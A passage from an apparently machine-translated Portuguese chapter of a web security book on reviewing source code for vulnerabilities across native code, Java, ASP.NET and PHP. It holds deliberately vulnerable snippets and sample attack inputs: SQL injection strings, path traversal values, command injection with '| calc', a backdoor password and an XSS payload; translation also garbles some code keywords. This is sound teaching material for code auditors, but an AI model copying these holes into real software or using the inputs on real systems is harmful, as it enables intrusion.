    snprintf(sendMailCmd, 4096, "echo '%s' | sendmail %s", message, addr); system(sendMailCmd);
    retorno;
}
```

Senhas de backdoor

A menos que tenham sido deliberadamente ocultadas por um programador mal-intencionado, as senhas de backdoor que foram usadas para fins de teste ou administrativos geralmente se destacam quando você analisa a lógica de validação de credenciais. Por exemplo:

```
private UserProfile validateUser(String username, String password)
{
    UserProfile up = getUserProfile(nome de usuário);

    Se (checkCredentials(up, password) || "oculiomnium".equals(password))
        retornar;

    retornar nulo;
}
```

Outros itens que podem ser facilmente identificados dessa forma incluem funções não referenciadas e parâmetros de depuração ocultos.

Bugs de software nativo

Você deve analisar atentamente qualquer código nativo usado pelo aplicativo em busca de vulnerabilidades clássicas que possam ser exploradas para executar código arbitrário.

Vulnerabilidades de estouro de buffer

Normalmente, eles empregam uma das APIs não verificadas para a manipulação de buffer, que são muitas, incluindo `strcpy`, `strcat`, `memcpy` e `sprintf`, juntamente com suas variantes wide-char e outras. Uma maneira fácil de identificar os problemas mais comuns na base de código é procurar todos os usos dessas APIs e verificar se o buffer de origem é controlável pelo usuário. Você também deve verificar se o código garantiu explicitamente que o buffer de destino é grande o suficiente para acomodar os dados que estão sendo copiados para ele (porque a própria API não faz isso). As chamadas vulneráveis para APIs inseguras geralmente são fáceis de identificar. No exemplo a seguir, a string controlável pelo usuário `pszName` é copiada em um buffer de tamanho fixo baseado em pilha sem verificar se o buffer é grande o suficiente para acomodá-la:

```
BOOL CALLBACK CFiles::EnumNameProc(LPTSTR pszName)
{
    char strFileName[MAX_PATH];
    strcpy(strFileName, pszName);
    ...
}
```

Observe que, pelo simples fato de ser empregada uma alternativa segura para uma API não verificada, isso não garante que não ocorrerá um estouro de buffer. Às vezes, devido a um erro ou mal-entendido, uma API verificada é usada de maneira insegura, como na seguinte "correção" da vulnerabilidade anterior:

```
BOOL CALLBACK CFiles::EnumNameProc(LPTSTR pszName)
{
    char strFileName[MAX_PATH]; strncpy(strFileName,
    pszName, strlen(pszName));
    ...
}
```

Portanto, uma auditoria completa do código para detectar vulnerabilidades de estouro de buffer normalmente envolve uma revisão linha por linha de toda a base de código, rastreando todas as operações realizadas em dados controláveis pelo usuário.

Vulnerabilidades de números inteiros

Eles vêm em várias formas e podem ser extremamente sutis, mas algumas instâncias são fáceis de identificar a partir de assinaturas no código-fonte.

As comparações entre números inteiros assinados e não assinados geralmente levam a problemas. Na "correção" a seguir para a vulnerabilidade anterior, um inteiro assinado (`len`) é comparado com um inteiro não assinado (`sizeof(strFileName)`). Se o usuário puder criar uma situação em que `len` tenha um valor negativo, essa comparação será bem-sucedida e o `strcpy` não verificado ainda ocorrerá:

```
BOOL CALLBACK CFiles::EnumNameProc(LPTSTR pszName, int len)
{
    char strFileName[MAX_PATH];

    Se (len < sizeof(strFileName))
        strcpy(strFileName, pszName);
    ...
}
```

Vulnerabilidades de formatação de strings

Normalmente, é possível identificá-los rapidamente procurando os usos das famílias de funções `printf` e `FormatMessage` em que o parâmetro da cadeia de caracteres de formato não é codificado, mas pode ser controlado pelo usuário. A seguinte chamada para `fprintf` é um exemplo:

```
void logAuthenticationAttempt(char* username);
{
    char tmp[64];
    snprintf(tmp, 64, "tentativa de login para: %s\n", nome de
    usuário); tmp[63] = 0;
    fprintf(g_logFile, tmp);
}
```

Código-fonte Comentários

Muitas vulnerabilidades de software estão, na verdade, documentadas nos comentários do código-fonte. Isso geralmente ocorre porque os desenvolvedores estão cientes de que uma determinada operação não é segura e registram um lembrete para corrigir o problema mais tarde, mas nunca chegam a fazer isso. Em outros casos, os testes identificaram algum comportamento anômalo no aplicativo que foi comentado no código, mas nunca foi totalmente investigado. Por exemplo, os autores encontraram o seguinte no código de produção de um aplicativo:

```
char buf[200]; // Espero que seja grande o suficiente
...
strcpy(buf, userinput);
```

Pesquisar em uma grande base de código por comentários que indiquem problemas comuns é, com frequência, uma fonte eficaz de frutos fáceis de colher. Aqui estão alguns termos de pesquisa que se mostraram úteis:

- `bug`
- `problema`
- `ruim`
- `esperança`
- `todo`
- `consertar`
- `transbordamento`
- `colisão`
- `injetar`
- `xss`
- `confiança`

A plataforma Java

Esta seção descreve as maneiras de obter a entrada fornecida pelo usuário, as maneiras de interagir com a sessão do usuário, as APIs potencialmente perigosas e as opções de configuração relevantes para a segurança na plataforma Java.

Identificação de dados fornecidos pelo usuário

Os aplicativos Java adquirem entradas enviadas pelo usuário por meio da interface `javax.servlet.http. HttpServletRequest`, que estende a interface `javax.servlet.ServletRequest`. Essas duas interfaces contêm várias APIs que os aplicativos da Web podem usar para acessar os dados fornecidos pelo usuário. As APIs listadas na Tabela 19-1 podem ser usadas para obter dados da solicitação do usuário.

Tabela 19-1: APIs usadas para adquirir dados fornecidos pelo usuário na plataforma Java

API	DESCRIÇÃO

`getParameter`
`getParameterNames`
`getParameterValues`
`getParameterMap`
	Os parâmetros na string de consulta de URL e o corpo de uma solicitação `POST` são armazenados como um mapa de nomes `String` para valores `String`, que podem ser acessados usando essas APIs.

`getQueryString`	Retorna toda a string de consulta contida no arquivo e pode ser usado como uma alternativa à solicitação APIs `getParameter`.

`getHeader`
`getHeaders`
`getHeaderNames`
	Os cabeçalhos HTTP na solicitação são armazenados como um mapa de nomes `String` para valores `String` e podem ser acessados usando essas APIs.

`getRequestURI` `getRequestURL`	Essas APIs retornam o URL contido na solicitação, incluindo a string de consulta.
`getCookies`	Retorna uma matriz de objetos `Cookie`, que contém detalhes dos cookies recebidos na solicitação, incluindo seus nomes e valores.
`getRequestedSessionId`	Usado como uma alternativa para `getCookies` em alguns casos; retorna o valor da ID da sessão enviado na solicitação.
`getInputStream` `getReader`	Essas APIs retornam diferentes representações da solicitação bruta recebida do cliente e, portanto, podem ser usadas para acessar qualquer uma das informações obtidas por todas as outras APIs.
`getMethod`	Retorna o método usado na solicitação HTTP.
`getProtocol`	Retorna o protocolo usado na solicitação HTTP.
`getServerName`	Retorna o valor do cabeçalho HTTP `Host`.
`getRemoteUser` `getUserPrincipal`	Se o usuário atual for autenticado, essas APIs retornarão detalhes do usuário, incluindo seu nome de login. Se os usuários puderem escolher seu próprio nome de usuário durante o autorregistro, isso pode ser um meio de introduzir dados maliciosos no processamento do aplicativo.

Interação de sessões

Os aplicativos da plataforma Java usam a interface `javax.servlet.http.HttpSession` para armazenar e recuperar informações dentro da sessão atual. O armazenamento por sessão é um mapa de nomes de cadeia de caracteres para valores de objetos. As APIs listadas na Tabela 19-2 são usadas para armazenar e recuperar dados dentro da sessão.

Tabela 19-2: APIs usadas para interagir com a sessão do usuário na plataforma Java

API	DESCRIÇÃO
`setAttribute`	Usado para armazenar dados na sessão atual.
`putValue`	
`getAttribute`	Usado para consultar dados armazenados na sessão atual.
`getValue`	
`getAttributeNames`	
`getValueNames`	

APIs potencialmente perigosas

Esta seção descreve algumas APIs Java comuns que podem introduzir vulnerabilidades de segurança se forem usadas de maneira insegura.

Acesso a arquivos

A principal classe usada para acessar arquivos e diretórios em Java é a `java.io.File`. Do ponto de vista da segurança, os usos mais interessantes dessa classe são as chamadas ao seu construtor, que pode receber um diretório pai e um nome de arquivo, ou simplesmente um nome de caminho.

Qualquer que seja a forma do construtor usada, podem existir vulnerabilidades de passagem de caminho se os dados controláveis pelo usuário forem passados como parâmetro de nome de arquivo sem verificar se há sequências de ponto-ponto-barra. Por exemplo, o código a seguir abre um arquivo na raiz da unidade `C:\` no Windows:

```
String userinput = "..\\boot.ini";
File f = new File("C:\\temp", userinput);
```

As classes mais comumente usadas para ler e gravar conteúdo de arquivos em Java são:

- `java.io.FileInputStream`
- `java.io.FileOutputStream`
- `java.io.FileReader`
- `java.io.FileWriter`

Essas classes recebem um objeto `File` em seus construtores ou podem abrir um arquivo por meio de uma string de nome de arquivo, o que pode novamente introduzir vulnerabilidades de passagem de caminho se dados controláveis pelo usuário forem passados como esse parâmetro. Por exemplo:

```
String userinput = "..\\boot.ini";
FileInputStream fis = new FileInputStream("C:\\temp\\\" + userinput);
```

Acesso ao banco de dados

A seguir estão as APIs mais comumente usadas para executar uma string arbitrária como uma consulta SQL:

- `java.sql.Connection.createStatement`
- `java.sql.Statement.execute`
- `java.sql.Statement.executeQuery`

Se a entrada controlável pelo usuário fizer parte da cadeia de caracteres que está sendo executada como uma consulta, ela provavelmente é vulnerável à injeção de SQL. Por exemplo:

```
String nome de usuário = "admin' ou
1=1--"; String senha = "foo";
Declaração s = connection.createStatement();
s.executeQuery("SELECT * FROM users WHERE username = "' + username + "'
    AND password = "' + password + "'");
```

executa essa consulta não intencional:

```
SELECT * FROM users WHERE nome de usuário = 'admin' or 1=1--' AND senha = 'foo'
```

As APIs a seguir são uma alternativa mais robusta e segura do que as descritas anteriormente. Elas permitem que um aplicativo crie uma instrução SQL pré-compilada e defina o valor de seus espaços reservados para parâmetros de forma segura e protegida contra erros de digitação:

- `java.sql.Connection.prepareStatement`
- `java.sql.PreparedStatement.setString`
- `java.sql.PreparedStatement.setInt`
- `java.sql.PreparedStatement.setBoolean`
- `java.sql.PreparedStatement.setObject`
- `java.sql.PreparedStatement.execute`
- `java.sql.PreparedStatement.executeQuery`

e assim por diante.

Se usados como pretendido, eles não são vulneráveis à injeção de SQL. Por exemplo:

```
String nome de usuário = "admin' ou 1=1-
-"; String senha = "foo";
Declaração s = connection.prepareStatement(
    "SELECT * FROM users WHERE username = ? AND password = ?");
s.setString(1, nome de usuário);
s.setString(2, password);
s.executeQuery();
```

resulta em uma consulta que é equivalente à seguinte:

```
SELECT * FROM users WHERE nome de usuário = 'admin'' or 1=1--' AND
senha = 'foo'
```

Execução de código dinâmico

A linguagem Java em si não contém nenhum mecanismo para avaliação dinâmica do código-fonte Java, embora algumas implementações (principalmente em produtos de banco de dados) ofereçam um recurso para fazer isso. Se o aplicativo que você está analisando constrói qualquer código Java em tempo real, você deve entender como isso é feito e determinar se algum dado controlável pelo usuário está sendo usado de forma insegura.

Execução de comandos do sistema operacional

As APIs a seguir são os meios de execução de comandos externos do sistema operacional em um aplicativo Java:

- `java.lang.runtime.Runtime.getRuntime`
- `java.lang.runtime.Runtime.exec`

Se o usuário puder controlar totalmente o parâmetro de cadeia de caracteres passado para `exec`, é quase certo que o aplicativo esteja vulnerável à execução arbitrária de comandos. Por exemplo, o seguinte comando faz com que o programa `calc` do Windows seja executado:

```
String userinput = "calc";
Runtime.getRuntime.exec(userinput);
```

No entanto, se o usuário controlar apenas parte da cadeia de caracteres passada para o `exec`, o aplicativo poderá não estar vulnerável. No exemplo a seguir, os dados controláveis pelo usuário são passados como argumentos de linha de comando para o processo do bloco de notas, fazendo com que ele tente carregar um documento chamado `| calc`:

```
String userinput = "| calc"; Runtime.getRuntime.exec("notepad
" + userinput);
```

A própria API `exec` não interpreta metacaracteres do shell, como `&` e `|`, portanto, esse ataque falha.

Às vezes, o controle de apenas parte da cadeia de caracteres passada para `exec` pode ser suficiente para a execução arbitrária de comandos, como no exemplo sutilmente diferente a seguir (observe o espaço ausente após `notepad`):

```
String userinput = "\\..\\system32\\calc";
Runtime.getRuntime().exec("notepad" + userinput);
```

Muitas vezes, nesse tipo de situação, o aplicativo é vulnerável a algo diferente da execução de código. Por exemplo, se um aplicativo executar o programa `wget` com um parâmetro controlável pelo usuário como URL de destino, um invasor poderá passar argumentos de linha de comando perigosos para o processo `wget`. Por exemplo, o invasor pode fazer com que `o wget` baixe um documento e o salve em um local arbitrário no sistema de arquivos.

Redirecionamento de URL

As APIs a seguir podem ser usadas para emitir um redirecionamento HTTP em Java:

- `javax.servlet.http.HttpServletResponse.sendRedirect`
- `javax.servlet.http.HttpServletResponse.setStatus`
- `javax.servlet.http.HttpServletResponse.addHeader`

O meio usual de causar uma resposta de redirecionamento é por meio do método `sendRedirect`, que recebe uma cadeia de caracteres contendo um URL relativo ou absoluto. Se o valor dessa cadeia for controlável pelo usuário, o aplicativo provavelmente estará vulnerável a um vetor de phishing.

Você também deve revisar todos os usos das APIs `setStatus` e `addHeader`. Como um redirecionamento envolve simplesmente uma resposta 3xx contendo um cabeçalho HTTP `Location`, um aplicativo pode implementar redirecionamentos usando essas APIs.

Soquetes

A classe `java.net.Socket` aceita várias formas de detalhes do host de destino e da porta em seus construtores. Se os parâmetros passados puderem ser controlados pelo usuário de alguma forma, o aplicativo poderá ser explorado para causar conexões de rede com hosts arbitrários, seja na Internet ou na DMZ privada ou na rede interna na qual o aplicativo está hospedado.

Configuração do ambiente Java

O arquivo `web.xml` contém definições de configuração para o ambiente da plataforma Java e controla o comportamento dos aplicativos. Se um aplicativo estiver usando segurança gerenciada por contêiner, a autenticação e a autorização serão declaradas no `web.xml` em relação a cada recurso ou coleção de recursos a serem protegidos, fora do código do aplicativo. A Tabela 19-3 mostra as opções de configuração que podem ser definidas no arquivo `web.xml`. Os servlets podem aplicar verificações programáticas com `HttpServletRequest.isU- serInRole` para acessar as mesmas informações de função no código do servlet. A

A entrada de mapeamento `security-role-ref` vincula a verificação de função integrada à função de contêiner correspondente.

Além do `web.xml`, diferentes servidores de aplicativos podem usar arquivos de implantação secundários (por exemplo, `weblogic.xml`) que contêm outras configurações relevantes para a segurança. Você deve incluí-los ao examinar a configuração do ambiente.

Tabela 19-3: Definições de configuração relevantes para a segurança do ambiente Java

CONFIGURAÇÃO	DESCRIÇÃO
`login-config`	Os detalhes da autenticação podem ser configurados no elemento `login-config`. As duas categorias de autenticação são `baseadas em formulários` (a página é especificada pelo elemento `form-login-page`) e `Basic Auth` ou `Client-Cert`, especificado no elemento `auth- method`. Se a autenticação baseada em formulários for usada, o formulário especificado deverá ter a ação definida como `j_security_check` e deverá enviar os parâmetros `j_username` e `j_password`. Os aplicativos Java reconhecem isso como uma solicitação de login.
`restrição de segurança`	Se o elemento `login-config` for definido, os recursos poderão ser restringidos usando o elemento `security-constraint`. Isso pode ser usado para definir os recursos a serem protegidos. No elemento `security-constraint`, as coleções de recursos podem ser definidas usando o elemento `url-pattern`. Por exemplo: `<url-pattern>/admin/*</url-pattern>` Eles são acessíveis a funções e diretores definidos no `role-name` e `principal-name`, respectivamente.
`session-config`	O tempo limite da sessão (em minutos) pode ser configurado na seção elemento `session-timeout`.
`página de erro`	O tratamento de erros do aplicativo é definido no elemento `error- page`. Os códigos de erro HTTP e as exceções Java podem ser tratados individualmente por meio dos elementos `error-code` e `exception-type`.
`init-param`	Vários parâmetros de inicialização são configurados no elemento `init-param`. Eles podem incluir configurações específicas de segurança, como `listagens`, que devem ser definidas como `false`, e `depuração`, que deve ser definida como `0`.

ASP.NET

Esta seção descreve métodos de aquisição de entrada fornecida pelo usuário, formas de interagir com a sessão do usuário, APIs potencialmente perigosas e opções de configuração relevantes para a segurança na plataforma ASP.NET.

Identificação de dados fornecidos pelo usuário

Os aplicativos ASP.NET adquirem a entrada enviada pelo usuário por meio do `System.Web` .classe `HttpRequest`. Essa classe contém várias propriedades e métodos que os aplicativos da Web podem usar para acessar os dados fornecidos pelo usuário. As APIs listadas na Tabela 19-4 podem ser usadas para obter dados da solicitação do usuário.

Tabela 19-4: APIs usadas para adquirir dados fornecidos pelo usuário na plataforma ASP.NET

API	DESCRIÇÃO
`Parâmetros`	Parâmetros na cadeia de consulta de URL, o corpo de uma solicitação `POST`, cookies HTTP e outros As variáveis do servidor são armazenadas como mapas de nomes de cadeia de caracteres para valores de cadeia de caracteres. Essa propriedade retorna uma coleção combinada de todos esses tipos de parâmetros.
`Item`	Retorna o item nomeado de dentro do `Params` coleção.
`Formulário`	Retorna uma coleção de nomes e valores de variáveis de formulário enviadas pelo usuário.
`QueryString`	Retorna uma coleção de nomes e valores de vari- dentro da string de consulta na solicitação.
`ServerVariables`	Retorna uma coleção de nomes e valores de uma variável grande número de variáveis de servidor ASP (semelhante às variáveis CGI). Isso inclui os dados brutos da solicitação, a string de consulta, o método de solicitação, o cabeçalho HTTP `Host` e assim por diante.
`Cabeçalhos`	Os cabeçalhos HTTP na solicitação são armazenados como um mapa de nomes de cadeia de caracteres para valores de cadeia de caracteres e podem ser acessados usando essa propriedade.
`Url` `RawUrl`	Retorna detalhes do URL contido na solicitação, incluindo a string de consulta.
`UrlReferrer`	Retorna informações sobre o URL especificado no campo Cabeçalho HTTP `Referer` na solicitação.

API	DESCRIÇÃO
Cookies	Retorna uma coleção de objetos Cookie, que contém detalhes dos cookies recebidos na solicitação, incluindo seus nomes e valores.
Arquivos	Retorna uma coleção de arquivos carregados pelo usuário.
InputStream BinaryRead	Retornam diferentes representações da solicitação bruta recebida do cliente e, portanto, podem ser usadas para acessar qualquer uma das informações obtidas por todas as outras APIs.
HttpMethod	Retorna o método usado na solicitação HTTP.
UserAgent do	Retorna detalhes do navegador do usuário, conforme enviado n o cabeçalho HTTP User-Agent.
navegador AcceptTypes	Retorna uma matriz de strings de tipos MIME suportados pelo cliente, conforme enviado no cabeçalho HTTP Accept.
Idiomas do usuário	Retorna uma matriz de strings contendo os idiomas aceito pelo cliente, conforme enviado no HTTP Cabeçalho Accept-Language.

Interação de sessões

Os aplicativos ASP.NET podem interagir com a sessão do usuário para armazenar e recuperar informações de várias maneiras.

A propriedade Session oferece uma maneira simples de armazenar e recuperar informações dentro da sessão atual. Ela é acessada da mesma forma que qualquer outra coleção indexada:

```
Session["MyName"] = txtMyName.Text;                // armazena o nome do
usuário lblWelcome.Text= "Welcome "+Session["MyName"]; // recupera o nome
do usuário
```

Os perfis do ASP.NET funcionam de forma muito semelhante à propriedade Session, exceto pelo fato de estarem vinculados ao perfil do usuário e, portanto, persistirem em diferentes sessões pertencentes ao mesmo usuário. Os usuários são reidentificados nas sessões por meio de autenticação ou de um cookie persistente exclusivo. Os dados são armazenados e recuperados no perfil do usuário da seguinte forma:

```
Profile.MyName = txtMyName.Text;                  // armazena o nome do
usuário lblWelcome.Text= "Welcome " + Profile.MyName; // recupera o nome
do usuário
```

A classe System.Web.SessionState.HttpSessionState fornece outra maneira de armazenar e recuperar informações dentro da sessão. Ela armazena informações

como um mapeamento de nomes de strings para valores de objetos, que podem ser acessados usando as APIs listadas na Tabela 19-5.

Tabela 19-5: APIs usadas para interagir com a sessão do usuário na plataforma ASP.NET

API	DESCRIÇÃO
`Adicionar`	Adiciona um novo item à coleção de sessões.
`Item`	Obtém ou define o valor de um item nomeado na coleção.
`Chaves` `GetEnumerator`	Retorna os nomes de todos os itens da coleção.
`CopyTo`	Copia a coleção de valores para uma matriz.

APIs potencialmente perigosas

Esta seção descreve algumas APIs comuns do ASP.NET que podem introduzir vulnerabilidades de segurança se forem usadas de maneira insegura.

Acesso a arquivos

`System.IO.File` é a principal classe usada para acessar arquivos no ASP.NET. Todos os seus métodos relevantes são estáticos e ela não tem um construtor público.

Todos os 37 métodos dessa classe recebem um nome de arquivo como parâmetro. As vulnerabilidades de passagem de caminho podem existir em todas as instâncias em que os dados controláveis pelo usuário são passados sem a verificação de sequências de pontos e barras. Por exemplo, o código a seguir abre um arquivo na raiz da unidade `C:\` no Windows:

```
string userinput = "..\\boot.ini";
FileStream fs = File.Open("C:\\temp\\\" + userinput,
    FileMode.OpenOrCreate);
```

As classes a seguir são mais comumente usadas para ler e gravar o conteúdo de arquivos:

- `System.IO.FileStream`
- `System.IO.StreamReader`
- `System.IO.StreamWriter`

Eles têm vários construtores que recebem um caminho de arquivo como parâmetro. Eles podem introduzir vulnerabilidades de passagem de caminho se forem passados dados controláveis pelo usuário. Por exemplo:

```
string userinput = "..\\foo.txt";
FileStream fs = new FileStream("F:\\tmp\\" + userinput, FileMode.OpenOrCreate);
```

Acesso ao banco de dados

Diversas APIs podem ser usadas para acesso ao banco de dados no ASP.NET. A seguir estão as principais classes que podem ser usadas para criar e executar uma instrução SQL:

- `System.Data.SqlClient.SqlCommand`
- `System.Data.SqlClient.SqlDataAdapter`
- `System.Data.Oledb.OleDbCommand`
- `System.Data.Odbc.OdbcCommand`
- `System.Data.SqlServerCe.SqlCeCommand`

Cada uma dessas classes tem um construtor que recebe uma string contendo uma instrução SQL. Além disso, cada uma tem uma propriedade `CommandText` que pode ser usada para obter e definir o valor atual da instrução SQL. Quando um objeto de comando tiver sido configurado adequadamente, ele será executado por meio de uma chamada a um dos vários métodos `Execute`.

Se a entrada controlável pelo usuário fizer parte da string que está sendo executada como uma consulta, o aplicativo provavelmente estará vulnerável à injeção de SQL. Por exemplo:

```
string nome de usuário = "admin' ou
1=1--"; string senha = "foo";
OdbcCommand c = new OdbcCommand("SELECT * FROM users WHERE username = '"
    + nome de usuário + "' AND senha = "' + senha + "'", conexão);
c.ExecuteNonQuery();
```

executa essa consulta não intencional:

```
SELECT * FROM users WHERE nome de usuário = 'admin' or
    1=1--' AND senha = 'foo'
```

Cada uma das classes listadas oferece suporte a instruções preparadas por meio de sua propriedade `Parameters`, que permite que um aplicativo crie uma instrução SQL contendo espaços reservados para parâmetros e defina seus valores de forma segura e protegida contra erros de tipo. Se usado como pretendido, esse mecanismo não é vulnerável à injeção de SQL. Por exemplo:

```
string nome de usuário = "admin' ou
1=1--"; string senha = "foo";
OdbcCommand c = new OdbcCommand("SELECT * FROM users WHERE username =
    @username AND password = @password", connection);
c.Parameters.Add(new OdbcParameter("@username", OdbcType.Text).Value =
username);
c.Parameters.Add(new OdbcParameter("@password", OdbcType.Text).Value =
password);
c.ExecuteNonQuery();
```

resulta em uma consulta que é equivalente à seguinte:

```
SELECT * FROM users WHERE nome de usuário = 'admin'' or 1=1--
    ' AND senha = 'foo'
```

Execução de código dinâmico

A função `Eval` do VBScript recebe um argumento de cadeia de caracteres que contém uma expressão do VBScript. A função avalia essa expressão e retorna o resultado. Se os dados controláveis pelo usuário forem incorporados à expressão a ser avaliada, talvez seja possível executar comandos arbitrários ou modificar a lógica do aplicativo.

As funções `Execute` e `ExecuteGlobal` recebem uma string contendo código ASP, que é executada como se o código aparecesse diretamente no próprio script. O delimitador de dois pontos pode ser usado para agrupar várias instruções. Se dados controláveis pelo usuário forem passados para a função `Execute`, o aplicativo provavelmente estará vulnerável à execução arbitrária de comandos.

Execução de comandos do sistema operacional

As APIs a seguir podem ser usadas de várias maneiras para iniciar um processo externo em um aplicativo ASP.NET:

- `System.Diagnostics.Start.Process`
- `System.Diagnostics.Start.ProcessStartInfo`

Uma cadeia de caracteres de nome de arquivo pode ser passada para o método estático `Process.Start`, ou a propriedade `StartInfo` de um objeto `Process` pode ser configurada com um nome de arquivo antes de chamar `Start` no objeto. Se o usuário puder controlar totalmente a cadeia de caracteres de nome de arquivo, é quase certo que o aplicativo estará vulnerável à execução arbitrária de comandos. Por exemplo, o seguinte comando faz com que o programa `calc` do Windows seja executado:

```
string userinput = "calc";
Process.Start(userinput);
```

Se o usuário controlar apenas parte da string passada para `Start`, o aplicativo ainda poderá estar vulnerável. Por exemplo:

```
string userinput = "..\\\..\\..\\Windows\\\System32\\calc";
Process.Start("C:\\Program Files\\MyApp\\bin\\\" + userinput);
```

A API não interpreta metacaracteres do shell, como `&` e `|`, nem aceita argumentos de linha de comando dentro do parâmetro filename. Portanto, esse tipo de ataque é o único que pode ser bem-sucedido quando o usuário controla apenas uma parte do parâmetro filename.

Os argumentos da linha de comando para o processo iniciado podem ser definidos usando a propriedade `Arguments` da classe `ProcessStartInfo`. Se apenas o parâmetro `Arguments` for controlável pelo usuário, o aplicativo ainda poderá estar vulnerável a algo que não seja a execução de código. Por exemplo, se um aplicativo executar o programa `wget` com um parâmetro controlável pelo usuário como URL de destino, um invasor poderá passar parâmetros perigosos da linha de comando para o processo `wget`. Para

Por exemplo, o processo pode baixar um documento e salvá-lo em um local arbitrário no sistema de arquivos.

Redirecionamento de URL

As APIs a seguir podem ser usadas para emitir um redirecionamento de HTTP no ASP.NET:

- `System.Web.HttpResponse.Redirect`
- `System.Web.HttpResponse.Status`
- `System.Web.HttpResponse.StatusCode`
- `System.Web.HttpResponse.AddHeader`
- `System.Web.HttpResponse.AppendHeader`
- `Servidor.Transferência`

O meio usual de causar uma resposta de redirecionamento é por meio do método `HttpResponse. Redirect`, que recebe uma string contendo um URL relativo ou absoluto. Se o valor dessa cadeia for controlável pelo usuário, o aplicativo provavelmente está vulnerável a um vetor de phishing.

Você também deve revisar todos os usos das propriedades `Status/StatusCode` e dos métodos `AddHeader/AppendHeader`. Considerando que um redirecionamento envolve simplesmente uma resposta 3xx contendo um cabeçalho HTTP `Location`, um aplicativo pode implementar redirecionamentos usando essas APIs.

O método `Server.Transfer` também é usado às vezes para realizar o redirecionamento. No entanto, isso não causa, de fato, um redirecionamento HTTP. Em vez disso, ele simplesmente altera a página que está sendo processada no servidor em resposta à solicitação atual. Dessa forma, ele não pode ser subvertido para causar redirecionamento para um URL externo, portanto, geralmente é menos útil para um invasor.

Soquetes

A classe `System.Net.Sockets.Socket` é usada para criar soquetes de rede. Após a criação de um objeto `Socket`, ele é conectado por meio de uma chamada ao método `Connect`, que recebe como parâmetros os detalhes de IP e porta do host de destino. Se essas informações do host puderem ser controladas pelo usuário de alguma forma, o aplicativo poderá ser explorado para causar conexões de rede com hosts arbitrários, seja na Internet ou na DMZ privada ou na rede interna na qual o aplicativo está hospedado.

Configuração do ambiente ASP.NET

O arquivo XML `Web.config` no diretório raiz da Web contém definições de configuração para o ambiente ASP.NET, listadas na Tabela 19-6, e controla o comportamento dos aplicativos.

Tabela 19-6: Definições de configuração relevantes para a segurança do ambiente ASP.NET

CONFIGURAÇÃO	DESCRIÇÃO
`httpCookies`	Determina as configurações de segurança associadas aos cookies. Se o atributo `httpOnlyCookies` for definido como `true`, os cookies serão marcados como `HttpOnly` e, portanto, não poderão ser acessados diretamente por scripts do lado do cliente. Se o atributo `requireSSL` for definido como `true`, os cookies serão marcados como `seguros` e, portanto, serão transmitidos pelos navegadores somente em solicitações HTTPS.
`sessionState`	Determina como as sessões se comportam. O valor do atributo `timeout` determina o tempo em minutos após o qual uma sessão ociosa será expirada. Se o elemento `regenerateExpiredSessionId` for definido como `true` (que é o padrão), uma nova ID de sessão será emitida quando uma ID de sessão expirada for recebida.
`compilação`	Determina se os símbolos de depuração são compilados em páginas, resultando em informações de erro de depuração mais detalhadas. Se o atributo `debug` for definido como `true`, os símbolos de depuração serão incluídos.
`customErrors`	Determina se o aplicativo retorna mensagens de erro detalhadas no caso de um erro não tratado. Se o atributo `mode` for definido como `On` ou `RemoteOnly`, a página identificada pelo atributo `defaultRedirect` será exibida aos usuários do aplicativo em vez de mensagens detalhadas geradas pelo sistema.
`httpRuntime`	Determina várias configurações de tempo de execução. Se o atributo `enableHeader- Checking` for definido como `true` (que é o padrão), o ASP. NET verificará os cabeçalhos das solicitações quanto a possíveis ataques de injeção, incluindo cross-site scripting. Se o atributo `enableVersionHeader` for definido como `true` (o que é o padrão), o ASP.NET colocará uma string de versão detalhada, que pode ser útil para um invasor pesquisar vulnerabilidades em versões específicas d a plataforma.

Se dados confidenciais, como cadeias de conexão de banco de dados, forem armazenados no arquivo de configuração, eles deverão ser criptografados usando o recurso "configuração protegida" do ASP.NET.

PHP

Esta seção descreve as maneiras de obter a entrada fornecida pelo usuário, as maneiras de interagir com a sessão do usuário, as APIs potencialmente perigosas e as opções de configuração relevantes para a segurança na plataforma PHP.

Identificação de dados fornecidos pelo usuário

O PHP usa uma série de variáveis de matriz para armazenar dados enviados pelo usuário, conforme listado na Tabela 19-7.

Tabela 19-7: Variáveis usadas para obter dados fornecidos pelo usuário na plataforma PHP

VARIÁVEL	DESCRIÇÃO

`$_GET`
`$HTTP_GET_VARS`
	Contém os parâmetros enviados na string de consulta. Eles são acessados pelo nome. Por exemplo, no URL a seguir:
	`https://wahh-app.com/search.php?query=foo`
	o valor do parâmetro `de consulta` é acessado usando:
	`$_GET['query']`

`$_POST` `$HTTP_POST_VARS`	Contém os parâmetros enviados no corpo da solicitação.
`$_COOKIE` `$HTTP_COOKIE_VARS`	Contém os cookies enviados na solicitação.
`$_REQUEST`	Contém todos os itens das matrizes `$_GET`, `$_ POST` e `$_COOKIE`.
`$_FILES` `$HTTP_POST_FILES`	Contém os arquivos carregados na solicitação.
`$_SERVER['REQUEST_METHOD']`	Contém o método usado na solicitação HTTP solicitação.
`$_SERVER['QUERY_STRING']`	Contém a string de consulta completa enviada na solicitação.
`$_SERVER['REQUEST_URI']`	Contém o URL completo contido na solicitação solicitação.
`$_SERVER['HTTP_ACCEPT']`	Contém o conteúdo da mensagem HTTP `Aceitar` cabeçalho.
`$_SERVER['HTTP_ACCEPT_CHARSET']`	Contém o conteúdo do arquivo HTTP Cabeçalho `Accept-charset`.
`$_SERVER['HTTP_ACCEPT_ENCODING']`	Contém o conteúdo do arquivo HTTP Cabeçalho `Accept-encoding`.
`$_SERVER['HTTP_ACCEPT_LANGUAGE']`	Contém o conteúdo do arquivo HTTP Cabeçalho `Accept-language`.
`$_SERVER['HTTP_CONNECTION']`	Contém o conteúdo da conexão HTTP Cabeçalho `da conexão`.
`$_SERVER['HTTP_HOST']`	Contém o conteúdo do `host` HTTP cabeçalho.

Continuação

Tabela 19-7 *(continuação)*

VARIÁVEL	DESCRIÇÃO
`$_SERVER['HTTP_REFERER']`	Contém o conteúdo do arquivo HTTP Cabeçalho do `referenciador`.
`$_SERVER['HTTP_USER_AGENT']`	Contém o conteúdo do agente de usuário HTTP Cabeçalho `do agente do usuário`.
`$_SERVER['PHP_SELF']`	Contém o nome do script atualmente e m execução. Embora o nome do script em si esteja fora do controle de um invasor, as informações de caminho podem ser anexadas a esse nome. Por e x e m p l o , se um script contiver o seguinte código: `<form action="<?= $_ SERVER['PHP_SELF'] ?>">` um invasor pode criar um ataque de script entre sites da seguinte forma: `/search.php/"><script>` e assim por diante.

Você deve ter em mente várias anomalias ao tentar identificar as maneiras pelas quais um aplicativo PHP está acessando a entrada fornecida pelo usuário:

